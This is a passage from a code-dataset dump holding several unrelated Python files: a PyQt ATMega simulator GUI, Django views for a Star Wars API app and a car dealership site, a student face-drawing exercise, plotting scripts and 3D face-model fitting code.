self.pool(x).squeeze()\n x = self.fc(x)\n return x\n\n def loss(self, x, y):\n logits = self.forward(x)\n return F.cross_entropy(logits, y, reduction=\"none\")\n \n","sub_path":"src/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2684,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"315362466","text":"#!/usr/bin/env python3\n\nimport argparse\nimport json\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport sys\n\ndef cli():\n json_data = json.load(sys.stdin)\n\n parser = argparse.ArgumentParser()\n parser.add_argument('dim1', type=int)\n parser.add_argument('dim2', type=int)\n args = parser.parse_args()\n\n\n registrations = np.empty((len(json_data['data']),6))\n for i, registration in enumerate(json_data['data']):\n registration_result = np.array(registration['result_lie']).T\n registrations[i] = registration_result\n\n fig = plt.figure()\n ax = fig.add_subplot(1,1,1)\n\n ax.scatter(registrations[:,args.dim1], registrations[:,args.dim2], s=0.5)\n plt.axis('equal')\n plt.show()\n\n\nif __name__ == '__main__':\n cli()\n","sub_path":"recova/single_experiment_plot.py","file_name":"single_experiment_plot.py","file_ext":"py","file_size_in_byte":761,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"334901844","text":"# -*- coding: utf-8 -*-\n\nimport sys\n\nfrom PyQt5 import QtWidgets, QtGui\nfrom PyQt5.QtCore import QThread\nfrom PyQt5.QtCore import Qt\nfrom PyQt5.QtWidgets import QSplitter, QApplication, QHBoxLayout, QVBoxLayout\n\nimport Components.ATMega_PIN_Diagram\nimport Components.Globalmap\nimport Components.List_of_Registers\nimport Components.Register_Values\nimport Components.stackedWidget\nfrom pysimulavrExample.examples import SimulavrAdaptor\n\n\nclass Landing(QtWidgets.QWidget):\n\n\n\tdef __init__(self):\n\t\tsuper(Landing, self).__init__()\n\t\tself.Register_Values = None\n\t\tself.List_of_Registers = None\n\t\tself.PIN_Diagram = None\n\t\tself.stackWidget = None\n\t\tself.initUI()\n\n\n\tdef initUI(self):\n\t\tself.title = \"ATMega Simulator\"\n\t\tself.top = 100\n\t\tself.left = 100\n\t\tself.width = 1000\n\t\tself.height = 800\n\t\tself.setWindowTitle(self.title)\n\t\tself.setStyleSheet(\"background-color: white\")\n\t\tself.window()\n\t\tself.setGeometry(self.top, self.left, self.width, self.height)\n\n\t\tself.show()\n\n\tdef window(self):\n\n\t\tself.Register_Values = Components.Register_Values.Register_Values().getInstance() # Object of Class Register Values\n\t\tself.List_of_Registers = Components.List_of_Registers.List_of_Registers().getInstance() # Object of Class List of Registers\n\n\t\tself.PIN_Diagram = Components.ATMega_PIN_Diagram.PIN_Diagram() # Object of Class PIN Diagram\n\n\t\tself.stackWidget = Components.stackedWidget.stackWidget().getInstance()\n\n\t\tself.splitter = QSplitter(Qt.Vertical)\n\n\t\tself.splitter.addWidget(self.List_of_Registers)\n\t\tself.splitter.addWidget(self.Register_Values)\n\t\tself.splitter.setSizes([300,150])\n\n\t\tself.horizontalLayout = QHBoxLayout()\n\n\t\tself.rightFrame = self.PIN_Diagram.getPIN_Digram()\n\n\t\tself.stackWidget.addWidget(self.rightFrame)\n\t\tprint(self.stackWidget.currentWidget())\n\n\t\tself.horizontalSplitter = QSplitter(Qt.Horizontal)\n\t\tself.horizontalLayout.addWidget(self.splitter)\n\t\tself.horizontalSplitter.addWidget(self.stackWidget)\n\t\tself.horizontalSplitter.setSizes([80,320])\n\t\tself.horizontalSplitter.adjustSize()\n\n\t\tself.titleFont = QtGui.QFont(\"Arial\", 15, QtGui.QFont.Bold)\n\t\tself.Title = QtWidgets.QLabel(self)\n\t\tself.Title.setText(\"ATMega328p Simulator\")\n\t\tself.Title.setFont(self.titleFont)\n\t\tself.Title.setAlignment(Qt.AlignCenter)\n\n\t\tself.backButton = QtWidgets.QPushButton(\"Back\")\n\t\tself.backButton.clicked.connect(lambda : self.backClicked())\n\n\t\tself.horizontalLayout.addWidget(self.horizontalSplitter)\n\n\t\tself.StatusFont = QtGui.QFont(\"Helvetica\", 10, QtGui.QFont.Bold)\n\t\tself.Status = QtWidgets.QLabel(self)\n\t\tself.Status.setText(self.getConnectionStatus())\n\t\tself.Status.setFont(self.StatusFont)\n\t\tself.Status.setStyleSheet('color : green')\n\t\tself.Status.setAlignment(Qt.AlignCenter)\n\n\t\tself.verticalLayout = QVBoxLayout()\n\t\tself.verticalLayout.addWidget(self.Title)\n\t\tself.verticalLayout.addWidget(self.Status)\n\t\tself.verticalLayout.addWidget(self.backButton, 0, Qt.AlignRight)\n\t\tself.verticalLayout.addLayout(self.horizontalLayout)\n\n\t\tself.setLayout(self.verticalLayout)\n\n\tdef getConnectionStatus(self): # Function returns status (Connected / Disconnected)\n\t\treturn \"Connected to Simulavr\"\n\n\tdef backClicked(self):\n\t\ttopWidget = Components.stackedWidget.stackWidget.top\n\t\tif topWidget != 0:\n\t\t\tprint(\"TOP\")\n\t\t\twidgetToRemove = Components.stackedWidget.stackWidget.StackWidget.widget(topWidget)\n\t\t\tComponents.stackedWidget.stackWidget.decrementTopCount()\n\t\t\tComponents.stackedWidget.stackWidget.removeWidget(widgetToRemove)\n\n\tdef updateUI(self):\n\t\tfor key, value in Components.Globalmap.Map.map.items():\n\t\t\tport = key.split('.')[0]\n\t\t\tif key in ['PORTB.PORT', 'PORTC.PORT', 'PORTD.PORT']:\n\t\t\t\tself.setPortValues(port, value)\n\t\t\tif key in ['PORTB.DDR', 'PORTC.DDR', 'PORTD.DDR']:\n\t\t\t\tself.setDdrValues(port, value)\n\t\t\tif key in ['PORTB.PIN', 'PORTC.PIN', 'PORTD.PIN']:\n\t\t\t\tself.setPinValues(port, value)\n\n\tdef setPortValues(self, key, value):\n\t\tbinVal = self.convertValueToBin(value)\n\t\tfor i in range(len(binVal) - 1, -1, -1):\n\t\t\tupdate = Components.Globalmap.Map.port_register_map[key] + str(len(binVal) - i - 1)\n\t\t\tvalue = int(binVal[i])\n\t\t\tComponents.Globalmap.Map.pin_portRegisterValue_map[update] = value\n\n\tdef setDdrValues(self, key, value):\n\t\tbinVal = self.convertValueToBin(value)\n\t\tfor i in range(len(binVal) - 1, -1, -1):\n\t\t\tupdate = Components.Globalmap.Map.port_register_map[key] + str(len(binVal) - i - 1)\n\t\t\tvalue = int(binVal[i])\n\t\t\tComponents.Globalmap.Map.pin_ddrRegisterValue_map[update] = value\n\n\tdef setPinValues(self, key, value):\n\t\tbinVal = self.convertValueToBin(value)\n\t\tfor i in range(len(binVal) - 1, -1, -1):\n\t\t\tupdate = Components.Globalmap.Map.port_register_map[key] + str(len(binVal) - i - 1)\n\t\t\tvalue = int(binVal[i])\n\t\t\tComponents.Globalmap.Map.pin_pinRegisterValue_map[update] = value\n\t\t\tself.PIN_Diagram.setPinStatus(update, value)\n\n\tdef convertValueToBin(self, value):\n\t\tbinVal = bin(value)[2:]\n\t\tif len(binVal) < 8:\n\t\t\tbinVal = '0' * (8 - len(binVal)) + binVal\n\t\treturn binVal\n\nclass threadExample(QThread):\n\tdef __init__(self, ui, sim):\n\t\tQThread.__init__(self)\n\t\tself.sim = sim\n\t\tself.ui = ui\n\t\tself.start()\n\n\tdef run(self):\n\t\tself.sim.runProgram(self.ui, self)\n\nif __name__ == '__main__':\n\tapp = QApplication(sys.argv)\n\tobj = Landing()\n\tsim = SimulavrAdaptor.SimulavrAdapter()\n\tthread = threadExample(obj, sim)\n\tapp.exec_()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"158960466","text":"from django.shortcuts import render \nfrom django.http import HttpResponse\nfrom .models import Planetss , SaveDataa\n\nimport json\nimport requests\n\n# code to display the planets\ndef planets(request):\n response = requests.get(\"https://swapi.co/api/planets/\") \n planets_data = response.json()\n x=[ ]\n for i in planets_data['results']:\n x.append(i['name'])\n data = { 'planets': x,} \n myModel = Planetss()\n myModel.name = json.dumps(x)\n myModel.save()\n return render(request,\"planets.html\",data )\n\n# code to display the titles\ndef titles(request):\n response1 = requests.get(\"https://swapi.co/api/films/\")\n movies_data = response1.json()\n y=[ ]\n for i in movies_data['results']:\n y.append(i['title'])\n t_data = {'movies':y} \n return render(request,\"movies.html\",t_data)\n\n# code to search by planet\ndef search(request):\n pl_name=request.GET[\"p_name\"]\n response = requests.get(\"https://swapi.co/api/planets/\") \n planets_data = response.json()\n x= [ ]\n v= [ ]\n y = [ ]\n w=[ ]\n for i in planets_data['results']:\n if pl_name == i['name']:\n x=i['films']\n y=i['residents']\n rp = i['rotation_period']\n op = i['orbital_period']\n dp = i['diameter']\n cp = i['climate']\n gp = i['gravity']\n\n for i in x:\n r1 = requests.get(i)\n f_data = r1.json()\n v.append(f_data['title']) \n if y!= [ ]:\n for i in y:\n r2 = requests.get(i)\n r_data = r2.json()\n w.append(r_data['name'])\n\n myModel = SaveDataa()\n myModel.film = json.dumps(v)\n myModel.resident = json.dumps(w)\n myModel.rperiod = json.dumps(rp)\n myModel.operiod = json.dumps(op)\n myModel.diam = json.dumps(dp)\n myModel.cli = json.dumps(cp)\n myModel.grav = json.dumps(gp)\n myModel.save() \n \n\n return render(request,\"result.html\",{ 'name': pl_name,'f1':v ,'f2':w , \"r\":rp , 'o':op , \"d\":dp , \"c\":cp ,\"g\":gp\n }) \n\n\ndef intro(request):\n return render(request,\"intro.html\") \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"SWanalysis/app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2150,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"583195009","text":"# Logan Duncan\n# CTEC 112 / Winter 2019\n# Module 4 / Problem Set 5\n# Problem 3 (25 points)\n\n\"\"\"\nDevelop a program that draws some sort of substantial face that includes two eyes, a nose, a mouth with some teeth, two ears and some hair.\n\nYou will find faces that were drawn by students in prior classes in a file named faces.png.\n\"\"\"\n\nimport graphics\n\n\ndef main():\n win = graphics.GraphWin('Time for a face', 500, 500)\n\n # Face. Made an oval for the base of the face\n facebase = graphics.Oval(graphics.Point(85, 85), graphics.Point(412, 400))\n facebase.setFill('beige')\n facebase.draw(win)\n\n # Eyes. Set a couple of variables for an eye, to include the pupil and eye color, then cloned them for the second eye.\n eye1 = graphics.Circle(graphics.Point(200, 200), 35)\n eye1.setFill('white')\n pupil1 = graphics.Circle(graphics.Point(200, 200), 5)\n pupil1.setFill('black')\n eyecolor1 = graphics.Circle(graphics.Point(200, 200), 15)\n eyecolor1.setFill('sky blue')\n eye2 = eye1.clone()\n eye2.move(105, 0)\n pupil2 = pupil1.clone()\n pupil2.move(105, 0)\n eyecolor2 = eyecolor1.clone()\n eyecolor2.move(105, 0)\n eye1.draw(win)\n eye2.draw(win)\n eyecolor1.draw(win)\n eyecolor2.draw(win)\n pupil1.draw(win)\n pupil2.draw(win)\n # Nose. Drew a nose out as a polygon object\n\n nose = graphics.Polygon(graphics.Point(240, 220), graphics.Point(260, 220), graphics.Point(\n 260, 260), graphics.Point(269, 260), graphics.Point(269, 272), graphics.Point(226, 272), graphics.Point(226, 265))\n nose.draw(win)\n\n # Mouth. Rectangle for the outline, then lines to draw the chattering teeth\n mouth = graphics.Rectangle(graphics.Point(\n 195, 300), graphics.Point(305, 350))\n mouth.setFill('white')\n mouth.draw(win)\n toothseparator = graphics.Line(\n graphics.Point(195, 325), graphics.Point(305, 325))\n toothseparator.draw(win)\n toothline1 = graphics.Line(graphics.Point(\n 217, 300), graphics.Point(217, 350))\n toothline1.draw(win)\n toothline2 = toothline1.clone()\n toothline2.move(22, 0)\n toothline2.draw(win)\n toothline3 = toothline2.clone()\n toothline3.move(22, 0)\n toothline3.draw(win)\n toothline4 = toothline3.clone()\n toothline4.move(22, 0)\n toothline4.draw(win)\n\n # Ears. I created the outline for the ear with an oval, clone it to the other side. Then tried to do a similar inner ear structure on each ear. But I couldn't find a mirror or flip method in this graphics library, so my duplicate isnt exact.\n ear1 = graphics.Oval(graphics.Point(60, 200), graphics.Point(110, 285))\n ear1.setFill('beige')\n ear1.draw(win)\n innerear1 = graphics.Polygon(graphics.Point(78, 230), graphics.Point(82, 230), graphics.Point(\n 82, 242), graphics.Point(93, 242), graphics.Point(93, 253), graphics.Point(78, 253))\n innerear1.setFill('black')\n innerear1.draw(win)\n ear2 = ear1.clone()\n ear2.move(325, 0)\n ear2.draw(win)\n innerear2 = graphics.Polygon(graphics.Point(412, 230), graphics.Point(408, 230), graphics.Point(\n 408, 242), graphics.Point(400, 242), graphics.Point(400, 253), graphics.Point(412, 253))\n innerear2.setFill('black')\n innerear2.draw(win)\n\n # Hair. Made a hair structure, with two line objects, then cloned them a few times\n hair1 = graphics.Line(graphics.Point(200, 140), graphics.Point(200, 90))\n hair1.setWidth(1.615)\n hairseg1 = graphics.Line(graphics.Point(200, 90), graphics.Point(215, 78))\n hairseg1.setWidth(1.615)\n hair2 = hair1.clone()\n hairseg2 = hairseg1.clone()\n hair2.move(3.5, 0)\n hairseg2.move(3.5, 0)\n hair3 = hair2.clone()\n hairseg3 = hairseg2.clone()\n hair3.move(3.5, 0)\n hairseg3.move(3.5, 0)\n hair4 = hair3.clone()\n hairseg4 = hairseg3.clone()\n hair4.move(3.5, 0)\n hairseg4.move(3.5, 0)\n hair5 = hair4.clone()\n hairseg5 = hairseg4.clone()\n hair5.move(3.5, 0)\n hairseg5.move(3.5, 0)\n hair6 = hair5.clone()\n hairseg6 = hairseg5.clone()\n hair6.move(3.5, 0)\n hairseg6.move(3.5, 0)\n hair7 = hair6.clone()\n hairseg7 = hairseg6.clone()\n hair7.move(3.5, 0)\n hairseg7.move(3.5, 0)\n hair8 = hair7.clone()\n hairseg8 = hairseg7.clone()\n hair8.move(3.5, 0)\n hairseg8.move(3.5, 0)\n hair9 = hair8.clone()\n hairseg9 = hairseg8.clone()\n hair9.move(3.5, 0)\n hairseg9.move(3.5, 0)\n hair10 = hair9.clone()\n hairseg10 = hairseg9.clone()\n hair10.move(3.5, 0)\n hairseg10.move(3.5, 0)\n hair11 = hair10.clone()\n hairseg11 = hairseg10.clone()\n hair11.move(3.5, 0)\n hairseg11.move(3.5, 0)\n hair12 = hair11.clone()\n hairseg12 = hairseg11.clone()\n hair12.move(3.5, 0)\n hairseg12.move(3.5, 0)\n hair13 = hair12.clone()\n hairseg13 = hairseg12.clone()\n hair13.move(3.5, 0)\n hairseg13.move(3.5, 0)\n hair14 = hair13.clone()\n hairseg14 = hairseg13.clone()\n hair14.move(3.5, 0)\n hairseg14.move(3.5, 0)\n hair15 = hair14.clone()\n hairseg15 = hairseg14.clone()\n hair15.move(3.5, 0)\n hairseg15.move(3.5, 0)\n hair16 = hair15.clone()\n hairseg16 = hairseg15.clone()\n hair16.move(3.5, 0)\n hairseg16.move(3.5, 0)\n hair17 = hair16.clone()\n hairseg17 = hairseg16.clone()\n hair17.move(3.5, 0)\n hairseg17.move(3.5, 0)\n hair18 = hair17.clone()\n hairseg18 = hairseg17.clone()\n hair18.move(3.5, 0)\n hairseg18.move(3.5, 0)\n hair19 = hair8.clone()\n hairseg19 = hairseg8.clone()\n hair19.move(3.5, 0)\n hairseg19.move(3.5, 0)\n hair20 = hair19.clone()\n hairseg20 = hairseg19.clone()\n hair20.move(3.5, 0)\n hairseg20.move(3.5, 0)\n hair21 = hair20.clone()\n hairseg21 = hairseg20.clone()\n hair21.move(3.5, 0)\n hairseg21.move(3.5, 0)\n\n hair1.draw(win)\n hairseg1.draw(win)\n hair2.draw(win)\n hairseg2.draw(win)\n hair3.draw(win)\n hairseg3.draw(win)\n hair4.draw(win)\n hairseg4.draw(win)\n hair5.draw(win)\n hairseg5.draw(win)\n hair6.draw(win)\n hairseg6.draw(win)\n hair7.draw(win)\n hairseg7.draw(win)\n hair8.draw(win)\n hairseg8.draw(win)\n hair9.draw(win)\n hairseg9.draw(win)\n hair10.draw(win)\n hairseg10.draw(win)\n hair11.draw(win)\n hairseg11.draw(win)\n hair12.draw(win)\n hairseg12.draw(win)\n hair13.draw(win)\n hairseg13.draw(win)\n hair14.draw(win)\n hairseg14.draw(win)\n hair15.draw(win)\n hairseg15.draw(win)\n hair16.draw(win)\n hairseg16.draw(win)\n hair17.draw(win)\n hairseg17.draw(win)\n hair18.draw(win)\n hairseg18.draw(win)\n hair19.draw(win)\n hairseg19.draw(win)\n hair20.draw(win)\n hairseg20.draw(win)\n hair21.draw(win)\n hairseg21.draw(win)\n\n input('Press enter to close the window and end the program ')\n win.close()\n\n\nmain()\n","sub_path":"problem-set-5-problem-3.py","file_name":"problem-set-5-problem-3.py","file_ext":"py","file_size_in_byte":6753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"427692966","text":"from django.shortcuts import render_to_response\nfrom django.template import RequestContext\nfrom stock.models import Car\nfrom home.models import Workshop_image, faqs, Testinomial\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom .forms import TestinomialForm\nfrom django.db.models import Q\nfrom django.shortcuts import render\n\ndef index(request):\n response_dict = RequestContext(request)\n economy_cars = Car.objects.filter(Q(price_range = '1') | Q(price_range = '2'))\n family_cars = Car.objects.filter(body_type = '2')\n less_driven_cars = Car.objects.filter(Q(km_range = '1') | Q(km_range = '2')| Q(km_range = '3') | Q(km_range = '4') | Q(km_range = '5'))\n response_dict.update({ 'active_tab':'Home', 'economy_cars': economy_cars, 'family_cars': family_cars, 'less_driven_cars': less_driven_cars })\n return render_to_response('main/index.html', response_dict)\n\ndef services(request):\n response_dict = RequestContext(request)\n workshop_image = Workshop_image.objects.all()\n response_dict.update({ 'active_tab':'Service', 'workshop_image':workshop_image })\n return render_to_response('staticpages/services.html', response_dict)\n\ndef whyus(request):\n response_dict = RequestContext(request)\n response_dict.update({ 'active_tab':'Why' })\n return render_to_response('staticpages/whyus.html', response_dict)\n\ndef render_faqs(request):\n response_dict = RequestContext(request)\n enteries = faqs.objects.all()\n response_dict.update({ 'active_tab': 'Faq', 'faqs': enteries })\n return render_to_response('staticpages/faqs.html', response_dict)\n\ndef finance(request):\n response_dict = RequestContext(request)\n response_dict.update({ 'active_tab':'Finance' })\n return render_to_response('staticpages/finance.html', response_dict)\n\ndef about(request):\n response_dict = RequestContext(request)\n testinomial = Testinomial.objects.all()\n response_dict.update({ 'active_tab':'About', 'testinomial': testinomial })\n return render_to_response('staticpages/about.html', response_dict)\n\ndef contact(request):\n response_dict = RequestContext(request)\n response_dict.update({ 'active_tab':'Contact' })\n return render_to_response('staticpages/contact.html', response_dict)\n\ndef testinomial(request):\n if request.method == 'POST':\n testinomial_form = TestinomialForm(request.POST, prefix=\"testi\")\n if testinomial_form.is_valid():\n testinomial = testinomial_form.save(commit=False)\n testinomial.save()\n return HttpResponseRedirect('/')\n","sub_path":"home/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2545,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"647413597","text":"#Remove Even Integers from List\n#Here is used two method for solving this code\n#Using remove and append\n\na=[2,5,7,9,3,1,6,73,12]\nfor i in a:\n if i%2==0:\n a.remove(i)\nprint(a) \n\na=[2,5,7,9,3,1,6,73,12]\nl=[]\nfor i in a:\n if i%2==1:\n l.append(i)\nprint(l) \n","sub_path":"remove_even.py","file_name":"remove_even.py","file_ext":"py","file_size_in_byte":287,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"369383873","text":"import numpy as np\nimport cv2\nfrom scipy.optimize import minimize\nfrom .. import tensor\nfrom .. import mesh\nfrom matplotlib import pyplot as plt\nfrom scipy import spatial\n\ndef get_valid_ind(X_ind):\n X_ind_all = np.tile(X_ind[np.newaxis, :], [3, 1]) * 3\n X_ind_all[1, :] += 1\n X_ind_all[2, :] += 2\n valid_ind = X_ind_all.flatten('F')\n \n return valid_ind\n\n\ndef find_closest(X, idx, x):\n '''\n X: (n, 2)\n x: (17, 2)\n\n '''\n ind = np.argsort(X[idx,0])\n \n sorted_h = idx[ind]\n sorted_X = X[idx][ind]\n cls_pids = []\n for pnt in x:\n min_dis = 99999 \n low = 0\n high = ind.shape[0]\n while low < high - 1:\n mid = (high + low) // 2\n if pnt[0] >= sorted_X[mid,0]:\n low = mid\n else:\n high = mid\n dis = np.sqrt((pnt[0] - sorted_X[mid, 0]) ** 2 + (pnt[1] - sorted_X[mid,1]) **2 )\n cls_pid = sorted_h[mid]\n min_dis = dis\n \n cnt = 1\n while True:\n p = mid + cnt\n if p >= sorted_X.shape[0]:\n break\n dis = np.sqrt((pnt[0] - sorted_X[p, 0]) ** 2 + (pnt[1] - sorted_X[p, 1]) ** 2)\n if dis < min_dis:\n cls_pid = sorted_h[p]\n min_dis = dis\n if np.abs(pnt[0] - sorted_X[p,0]) > min_dis:\n break\n cnt +=1\n \n cnt = 1\n while True:\n p = mid - cnt\n if p < 0:\n break\n dis = np.sqrt((pnt[0] - sorted_X[p, 0]) ** 2 + (pnt[1] - sorted_X[p, 1]) ** 2)\n if dis < min_dis:\n cls_pid = sorted_h[p]\n min_dis = dis\n if np.abs(pnt[0] - sorted_X[p,0]) > min_dis:\n break\n cnt +=1\n cls_pids.append(cls_pid)\n\n # print(cls_pids)\n\n return np.asarray(cls_pids)\n\n \n\n\n\n\ndef update_contour_idx(core, wid, wexp, s, R, t2d, x, X_ind, face_ind):\n '''\n face_ind: indices of face without neck and ears\n\n\n Returns:\n new_X_ind: updated indices of face mesh contour \n y: position of face contour points \n\n '''\n \n # x: (n x 2)\n X = tensor.dot.mode_dot(core, wexp.T , 2)\n X = tensor.dot.mode_dot(X, wid.T, 1)\n X = np.reshape(X, [int(X.shape[0] / 3), 3]).T\n \n n = X.shape[1]\n \n t2d = np.array(t2d)\n P = np.array([[1, 0, 0], [0, 1, 0]], dtype = np.float32)\n A = s*P.dot(R)\n \n X = A.dot(X)\n X = X + np.tile(t2d[:, np.newaxis], [1, n]) # 2 x n\n X_c = np.zeros(X.shape)\n \n X_c[:,face_ind] = X[:, face_ind]\n \n kp = X_c.T[X_ind]\n \n X = X.T\n X_c = X_c.T \n mean = np.mean(X_c, axis = 0)\n\n hull = spatial.ConvexHull(X_c)\n idx = np.append(hull.vertices, X_ind[:17])\n for i in range(3):\n X_c[hull.vertices] = mean\n hull2 = spatial.ConvexHull(X_c)\n idx = np.append(idx, hull2.vertices)\n #for simplex in hull.simplices:\n # plt.plot(X[simplex, 0], X[simplex, 1],'bo')\n hull = hull2\n\n plt.plot(X[idx, 0], X[idx, 1], 'bo')\n #for simplex in hull2.simplices:\n # plt.plot(X[simplex, 0], X[simplex, 1],'bo')\n \n new_ind = find_closest(X, idx ,x[:17,:])\n new_X_ind = X_ind.copy()\n new_X_ind[:17] = new_ind\n y = X[new_ind]\n plt.plot(kp[:,0], kp[:,1], 'co')\n return new_X_ind, y\n\n \ndef fitting_error_overall(wid, xl, corel, wexpl, sl, Rl, t2dl):\n '''\n Args:\n xl: m * (2, n) image points\n core tensor: (3n, n_id, n_exp) \n Ml: m * (3, 4) camera external matrix\n Ql: m * (3, 3) projection matrix\n\n Returns:\n fe : fitting error\n\n '''\n fe = 0\n #vertices = tensor.dot.mode_dot(tensor.dot.mode_dot(core, wid.T, 1), wexp.T, 1)\n m = len(xl)\n \n for i in range(m):\n core = corel[i]\n X = tensor.dot.mode_dot(core, wexpl[i].T , 2)\n X = tensor.dot.mode_dot(X, wid.T, 1)\n X = np.reshape(X, [int(X.shape[0] / 3), 3]).T # 3 x n\n x = xl[i].T\n n = x.shape[1]\n mask = np.ones(n, dtype = bool)\n mask[18:27] = False\n \n t2d = np.array(t2dl[i])\n P = np.array([[1, 0, 0], [0, 1, 0]], dtype = np.float32)\n A = sl[i]*P.dot(Rl[i])\n \n X = A.dot(X)\n X = X + np.tile(t2d[:, np.newaxis], [1, n]) # 2 x n\n \n sfe = np.linalg.norm(X.T[mask] - x.T[mask]) \n fe += sfe\n \n \n return fe\n\n\n\n \ndef fitting_error_wid(wid, x, core, wexp, s, R, t2d):\n '''\n Args:\n x: (2, n) image points\n vertices: (3, n) \n M: (3, 4) camera external matrix\n Q: (3, 3) projection matrix\n\n Returns:\n fe : fitting error\n\n '''\n #vertices = tensor.dot.mode_dot(tensor.dot.mode_dot(core, wid.T, 1), wexp.T, 1)\n \n X = tensor.dot.mode_dot(core, wexp.T , 2)\n X = tensor.dot.mode_dot(X, wid.T, 1)\n X = np.reshape(X, [int(X.shape[0] / 3), 3]).T\n n = x.shape[1]\n mask = np.ones(n, dtype = bool)\n mask[18:27] = False\n\n t2d = np.array(t2d)\n P = np.array([[1, 0, 0], [0, 1, 0]], dtype = np.float32)\n A = s*P.dot(R)\n \n X = A.dot(X)\n X = X + np.tile(t2d[:, np.newaxis], [1, n]) # 2 x n\n fe = np.linalg.norm(X.T[mask] - x.T[mask]) \n return fe\n\ndef fitting_error_wexp(wexp, x, core, wid, s, R, t2d):\n '''\n Args:\n x: (2, n) image points\n vertices: (3, n) \n M: (3, 4) camera external matrix\n Q: (3, 3) projection matrix\n\n Returns:\n fe : fitting error\n\n '''\n X = tensor.dot.mode_dot(core, wexp.T , 2)\n X = tensor.dot.mode_dot(X, wid.T, 1)\n X = np.reshape(X, [int(X.shape[0] / 3), 3]).T\n n = x.shape[1]\n mask = np.ones(n, dtype = bool)\n mask[18:27] = False\n \n t2d = np.array(t2d)\n P = np.array([[1, 0, 0], [0, 1, 0]], dtype = np.float32)\n A = s*P.dot(R)\n \n X = A.dot(X)\n X = X + np.tile(t2d[:, np.newaxis], [1, n]) # 2 x n\n fe = np.linalg.norm(X.T[mask] - x.T[mask]) \n \n\n return fe\n \n\n\ndef bfgs(fun, weight, args, bounds, options):\n\n res = minimize(fun, weight, args=args, method='L-BFGS-B', bounds=bounds, options=options)\n return res\n\ndef posit(X, x):\n\n Q = np.zeros(3*3, float).reshape(3, -1) + np.eye(3)\n\n X = X.T\n x = x.T\n assert (x.shape[1] == X.shape[1])\n n = x.shape[1]\n assert (n >= 4)\n\n # 2d points\n mean = np.mean(x, 1) # (2,)\n\n Q[:2, 2] = mean\n Q[0, 0] = 800 # mm\n Q[1, 1] = 800\n X = X.T\n x = x.T\n X = X[:4]\n x = x[:4]\n retval, rvec, tvec = cv2.solvePnP(X, x, Q, None)\n \n Rca, _ = cv2.Rodrigues(rvec)\n Pca = tvec\n M = np.zeros((3,4))\n M[:3, :3] = Rca\n M[:3, 3:] = Pca\n return M, Q\n\n\n\n\n\n\ndef fit_blendshapes(model, wid, n_ver):\n n_exp = 47\n core = model['core']\n Uexp = model['Uexp']\n d = np.eye(n_exp)\n expPC = np.zeros([int(3*n_ver), n_exp])\n Uexpd = np.dot(Uexp.T, d)\n pc = tensor.dot.mode_dot(core, wid, 1)\n expPC = np.dot(pc, Uexpd)\n \n pmax = expPC.max(axis = 0) \n pmin = expPC.min(axis = 0)\n\n expPC = (expPC - pmin) / (pmax - pmin)\n expPC = 1 - expPC\n #print(expPC)\n return expPC\n \n\ndef fit_id_param_bfgs(xl, X_ind, model, max_iter=4):\n '''\n Args:\n x: (n, 2) image points\n X_ind: (n,) corresponding Model vertex indices\n max_iter: iteration\n Returns:\n '''\n # -- init\n # -------------------- estimate\n\n valid_ind = get_valid_ind(X_ind)\n core_base = model['core']\n min_E = 1000\n #wid = np.random.rand(core_base.shape[1])\n wid = np.loadtxt('wid.out')\n wexp0 = np.random.rand(core_base.shape[2])\n m = len(xl)\n wexpl = [wexp0] * m\n X_inds = [X_ind] * m\n core = core_base[valid_ind, :, :]\n corel = [core] * m\n print(\"initial indices:\", X_ind[:17]) \n ys = np.zeros([max_iter, m, 17, 2])\n for i in range(max_iter):\n fe = 0\n sl = []\n Rl = []\n tl = []\n wid_j = np.zeros(core_base.shape[1])\n\n for j in range(len(xl)):\n core = corel[j]\n X = tensor.dot.mode_dot(core, wid.T, 1)\n X = tensor.dot.mode_dot(X, wexpl[j].T ,1)\n X = np.reshape(X, [int(X.shape[0] / 3), 3]).T\n x = xl[j].T \n #----- estimate pose\n\n P = mesh.transform.estimate_affine_matrix_3d22d(X.T, x.T)\n s, R, t = mesh.transform.P2sRt(P)\n sl.append(s)\n Rl.append(R)\n tl.append(t[:2])\n #----- estimate wid & wexp\n # shape wid\n \n bnds_id = ((0,1),) * core.shape[1]\n args = ( # a_star, M, Q, x, X\n x,\n core,\n wexpl[j],\n s,\n R,\n t[:2]\n )\n # use L-BFGS-B algo to get wid\n res = bfgs(fitting_error_wid, wid, args=args, bounds=bnds_id, options={\n 'disp': False, 'maxcor': 10, 'ftol': 2.220446049250313e-09, 'gtol': 1e-05, 'eps': 1e-08, 'maxfun': 15000,\n 'maxiter': 15000, 'iprint': -1, 'maxls': 20\n })\n wid_j += res.x.reshape(-1)\n \n \n print(\"image {} single wid error:\".format(j), res.fun) \n \n \n bnds_exp = ((0,1),) * core.shape[2]\n args = ( # a_star, M, Q, x, X\n x,\n core,\n wid,\n s,\n R,\n t[:2]\n )\n res = bfgs(fitting_error_wexp, wexpl[j], args=args, bounds=bnds_exp, options={\n 'disp': False, 'maxcor': 10, 'ftol': 2.220446049250313e-09, 'gtol': 1e-05, 'eps': 1e-08, 'maxfun': 15000,\n 'maxiter': 15000, 'iprint': -1, 'maxls': 20\n })\n wexpl[j] = res.x.reshape((-1))\n print(\"image {} single exp error:\".format(j), res.fun) \n fe += res.fun \n print(\"imgae error overall before:\", fe) \n bnds_id = ((0,1),) * core.shape[1]\n wid = wid_j / m\n args = ( # a_star, M, Q, x, X\n xl,\n corel,\n wexpl,\n sl,\n Rl,\n tl,\n )\n\n res = 